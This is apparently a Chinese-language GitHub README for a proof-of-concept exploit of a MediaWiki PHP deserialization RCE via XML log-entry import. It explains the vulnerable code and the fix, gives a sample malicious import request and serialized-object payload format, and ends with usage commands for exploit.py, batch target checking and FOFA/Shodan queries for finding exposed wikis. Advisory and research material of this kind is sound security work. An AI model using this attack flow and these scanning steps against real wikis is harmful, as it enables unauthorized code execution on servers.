shinthink/CVE-2026-58025

GitHub: shinthink/CVE-2026-58025

MediaWiki CVE-2026-58025 反序列化 RCE 漏洞的 PoC 利用工具,通过恶意 XML 日志导入触发远程代码执行。

Stars: 0 | Forks: 0

CVE-2026-58025 — MediaWiki PHP 反序列化 RCE(通过日志条目导入)

WikiImporter → LogEntryBase::extractParams() → unserialize() 用户可控的 log_params → RCE

## 概述 **CVE-2026-58025** 是 **MediaWiki**(Wikimedia Foundation)中一个严重的(CVSS 9.8)不可信数据反序列化漏洞。`LogEntryBase::extractParams()` 方法直接对用户可控的日志条目参数调用了 `unserialize()`,且未限制可以被实例化的 PHP 类。拥有 `importupload` 或 `import` 权限(默认为:`sysop` 用户组)的攻击者可以构造一个恶意的 XML 导入文件,在 `` 字段中包含序列化的 PHP 对象,从而通过 gadget 链触发任意对象实例化并可能导致远程代码执行(RCE)。 ### 受影响版本 | 版本分支 | 存在漏洞 | 已修复 | |---|---|---| | 1.43.x | < 1.43.9 | 1.43.9 | | 1.44.x | < 1.44.6 | 1.44.6 | | 1.45.x | < 1.45.4 | 1.45.4 | | 1.46.x | < 1.46.0 | 1.46.0 | ## 漏洞原理 ### 根本原因 `includes/Logging/LogEntryBase.php` 中的 `LogEntryBase::extractParams()` 方法直接对 `log_params` blob 调用了 `unserialize()`,没有任何类限制: ``` // includes/Logging/LogEntryBase.php (BEFORE fix) public static function extractParams( $blob ) { return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction } ``` 该方法在多处被调用: | 文件 | 行号 | 上下文 | |---|---|---| | `includes/Logging/DatabaseLogEntry.php` | 187 | `getParameters()` — 从数据库读取日志条目 | | `includes/RecentChanges/RecentChange.php` | 781 | `parseParams()` — 解析近期更改 | | `includes/Import/WikiRevision.php` | 638 | `importLogItem()` — 从 XML 导入日志条目 | | `maintenance/purgeChangedFiles.php` | 182 | 维护脚本日志解析 | | `tests/phpunit/maintenance/DumpAsserter.php` | 541 | 测试辅助程序 | ### 攻击向向 主要的攻击向向是通过 `Special:Import` 进行 **XML 导入**: 1. 攻击者(拥有 `import`/`importupload` 权限)构造一个恶意的 MediaWiki XML 导出文件 2. 该 XML 包含一个 `` 元素,其 `` 字段中含有 PHP 序列化 payload 3. `WikiImporter::processLogItem()` → `WikiRevision::importLogItem()` 存储该日志条目 4. 当随后读取该日志条目时(通过 `DatabaseLogEntry::getParameters()`、`RecentChange::parseParams()` 或日志显示),`LogEntryBase::extractParams()` 会对攻击者可控的 blob 调用 `unserialize()` 5. 如果存在合适的 gadget 链(通过已安装的扩展/供应商库),则会导致 RCE ### 攻击流程 ``` POST /wiki/Special:Import Content-Type: multipart/form-data action=submit xmlimportfile= source=file catname= prefix= loginComment= malicious.xml: test test a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}} → WikiImporter::handleLogItem() → WikiImporter::processLogItem() → WikiRevision::importLogItem() → stores to DB → Later: DatabaseLogEntry::getParameters() → LogEntryBase::extractParams( $blob ) → unserialize( $blob ) → PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain → RCE as www-data ``` ### 序列化 Payload 格式 XML 导入中的 `` 字段接受标准的 PHP 序列化字符串。一个安全(无害)的条目: ``` a:1:{s:3:"foo";s:3:"bar";} ``` 包含序列化对象的恶意条目: ``` a:1:{s:3:"foo";O:8:"stdClass":0:{}} ``` 当在没有 `allowed_classes` 限制的情况下调用 `unserialize()` 时,该对象将被完整实例化。如果存在可用的 gadget 链(例如,来自 Composer 安装的库),这将演变成 RCE。 ## 修复方案 **Commit:** `60f154d4618063ac4d5832285fc246b8fcd7c72c` **作者:** Bartosz Dziewoński **日期:** 2026-06-29 该修复实现了多层防御: ### 1. 使用 `allowed_classes` 限制 `unserialize()` ``` // includes/Logging/LogEntryBase.php (AFTER fix) public static function extractParams( $blob, ?string $logType = null ) { $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' ); if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) { $allowedClasses = $attribute[$logType]; } else { $allowedClasses = false; // no classes allowed } $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] ); if ( $result !== false && !is_array( $result ) ) { return false; } return $result; } ``` ### 2. 新增 `containsUnsafeParams()` 检查 检测 `__PHP_Incomplete_Class` 实例(被 `allowed_classes` 阻止的对象): ``` public static function containsUnsafeParams( array $params ): bool { $result = false; $params = [ $params ]; array_walk_recursive( $params, static function ( $val ) use ( &$result ) { if ( $val instanceof \__PHP_Incomplete_Class ) { $result = true; } } ); return $result; } ``` ### 3. 导入门控 — `WikiImporter::processLogItem()` 新增 `logentryimport` 权限检查(默认不授予任何人): ``` private function processLogItem( $logInfo ) { if ( !$this->performer->authorizeAction( 'logentryimport' ) ) { $this->notice( 'permissionserrorstext-withaction-noreason', ... ); return false; } // ... } ``` ### 4. `WikiRevision::importLogItem()` — 拒绝不安全的参数 ``` if ( LogEntryBase::containsUnsafeParams( LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ), ) ) { wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" ); return false; } ``` ### 5. `UnsafeLogFormatter` — 安全显示现有的恶意条目 新增的 `UnsafeLogFormatter` 类替换了包含被阻止对象的日志条目的默认格式化器,显示占位符消息而不是尝试格式化危险数据。 ### 6. 相关修复:CVE-2026-58037 同样的研究(T422244)还发现 `LogFormatter` 的 `raw` 参数类型允许从用户控制的日志参数输出原始 HTML。这已在相关的 commit 中通过将 `Message::rawParam()` 更改为 `Message::plaintextParam()` 进行了修复。 ## PoC 包含的 `exploit.py` 会生成一个恶意的 MediaWiki XML 导入文件,其中在日志条目参数中包含了序列化的 PHP 对象。它还可以对 MediaWiki 实例进行指纹识别,并尝试通过 API 进行导入。 ``` # 生成恶意 XML payload python exploit.py --generate --output payload.xml # 指纹识别目标 python exploit.py -u https://target.com --check # 完整 exploit(需要 sysop 用户的有效 session cookies) python exploit.py -u https://target.com -c "session_cookies_here" ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-58025.git cd CVE-2026-58025 pip install requests ``` ## 使用说明 ``` # 生成恶意 XML 导入文件 python exploit.py --generate --output payload.xml # 指纹识别 MediaWiki 版本 python exploit.py -u https://target.com --check # 通过 Special:Import 上传恶意 XML(需要 sysop session) python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin" # 批量检查 python exploit.py -f targets.txt --check -o results.txt ``` ## FOFA / Shodan ``` FOFA: body="mediawiki" && body="Special:Import" Shodan: http.html:"mediawiki" ``` ## 参考资料 - [NVD CVE-2026-58025](https://nvd.nist.gov/vuln/detail/CVE-2026-58025) - [Phabricator T422244](https://phabricator.wikimedia.org/T422244) - [修复 Commit(1.43 分支)](https://github.com/wikimedia/mediawiki/commit/60f154d4618063ac4d5832285fc246b8fcd7c72c) — `SECURITY: Safely unserialize log entry parameters` - [相关修复:CVE-2026-58037](https://github.com/wikimedia/mediawiki/commit/649a8d35e1b72426f11fbdbf19272bd45ef17583) — `LogFormatter: 'raw' parameter format is no longer raw HTML` - [MediaWiki 1.43.9 发布说明](https://github.com/wikimedia/mediawiki/commit/50755a861e6e748cf8bac24e8cdd5e83db018081) - [OSV CVE-2026-58025](https://osv.dev/vulnerability/CVE-2026-58025) - [CWE-502: 不可信数据反序列化](https://cwe.mitre.org/data/definitions/502.html) - [CWE-94: 代码生成控制不当](https://cwe.mitre.org/data/definitions/94.html) ## 免责声明 此漏洞利用程序仅供教育和授权的安全研究使用。未经所有者明确许可,请勿将其用于任何系统。
标签:CISA项目, CVE-2026-58025, MediaWiki, PHP反序列化, RCE, 逆向工具